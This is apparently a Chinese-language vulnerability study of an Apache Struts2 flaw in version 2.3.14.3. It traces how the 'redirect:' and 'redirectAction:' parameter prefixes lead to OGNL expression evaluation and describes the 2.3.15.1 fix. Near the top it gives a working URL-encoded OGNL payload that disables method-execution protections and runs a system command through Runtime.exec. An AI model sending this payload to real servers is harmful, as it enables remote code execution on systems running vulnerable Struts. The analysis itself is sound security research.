前言 经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建 2.3.14.3 版本的 struts2 + Tomcat 9。
不需要加什么代码。
漏洞利用 利用 payload(redirect 和 redirect 需要已有的 Action):
1 2 http: ?redirect:%25%7b%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3dfalse,%23m%3d%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess' ),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec ('calc' )%7d
action 参数似乎无法触发,没有进行表达式解析。
漏洞分析 根据 action 的 action 不存在的报错栈,可以找到 DefaultActionProxy 类的 prepare 方法,错误原因就是将 action 参数的值作为一个 Action 名而不是一个表达式,导致获取相关配置时失败:
1 2 3 4 5 6 7 8 config = configuration.getRuntimeConfiguration().getActionConfig(namespace, actionName);if (config == null && unknownHandlerManager.hasUnknownHandlers()) { config = unknownHandlerManager.handleUnknownAction(namespace, actionName); }if (config == null ) { throw new ConfigurationException (getErrorMessage()); }
继续往上寻找,可以看到 actionName 和 namespace 来自 mapping:
1 2 3 4 5 6 7 String namespace = mapping.getNamespace();String name = mapping.getName();String method = mapping.getMethod();Configuration config = configurationManager.getConfiguration();ActionProxy proxy = config.getContainer().getInstance(ActionProxyFactory.class).createActionProxy( namespace, name, method, extraContext, true , false );
继续往上,可以找到 DefaultActionMapper 类的 handleSpecialParameters 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public void handleSpecialParameters (HttpServletRequest request, ActionMapping mapping) { Set<String> uniqueParameters = new HashSet <String>(); Map parameterMap = request.getParameterMap(); for (Object o : parameterMap.keySet()) { String key = (String) o; if (key.endsWith(".x" ) || key.endsWith(".y" )) { key = key.substring(0 , key.length() - 2 ); } if (!uniqueParameters.contains(key)) { ParameterAction parameterAction = (ParameterAction) prefixTrie.get(key); if (parameterAction != null ) { parameterAction.execute(key, mapping); uniqueParameters.add(key); break ; } } } }
调用 parameterAction.execute 函数时会向 mapping 里面设置 name、result 等成员,比如 action、redirect 和 redirectAction 的 execute 函数(DefaultActionMapper 类中):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 put(ACTION_PREFIX, new ParameterAction () { public void execute (String key, ActionMapping mapping) { String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!' ); if (bang != -1 ) { String method = name.substring(bang + 1 ); mapping.setMethod(method); name = name.substring(0 , bang); } } mapping.setName(name); } }); put(REDIRECT_PREFIX, new ParameterAction () { public void execute (String key, ActionMapping mapping) { ServletRedirectResult redirect = new ServletRedirectResult (); container.inject(redirect); redirect.setLocation(key.substring(REDIRECT_PREFIX .length())); mapping.setResult(redirect); } }); put(REDIRECT_ACTION_PREFIX, new ParameterAction () { public void execute (String key, ActionMapping mapping) { String location = key.substring(REDIRECT_ACTION_PREFIX .length()); ServletRedirectResult redirect = new ServletRedirectResult (); container.inject(redirect); String extension = getDefaultExtension(); if (extension != null && extension.length() > 0 ) { location += "." + extension; } redirect.setLocation(location); mapping.setResult(redirect); } });
可以看到,参数名为 action 的情况下,会将值作为 name,也就是后面的 actionName,也就导致了后面无法找到对应 action 的错误。
而在 redirect 和 redirectAction 的情况下,完成 createActionProxy 后来到这里:
1 2 3 4 5 6 7 if (mapping.getResult() != null ) { Result result = mapping.getResult(); result.execute(proxy.getInvocation()); } else { proxy.execute(); }
因为当时将表达式作为了 result,所以会进入 result 的 execute 函数,来到:
1 2 3 4 public void execute (ActionInvocation invocation) throws Exception { lastFinalLocation = conditionalParse(location, invocation); doExecute(lastFinalLocation, invocation); }
可以发现这里就是 S2-015 里面通配符 action 的表达式解析触发点。
漏洞修复 2.3.15.1 版本的修复,直接删除了 DefaultActionMapper 类中 redirect 和 redirectAction 的 execute 函数,还给 action 的 action 名做了清理(类似 S2-015)。
Orz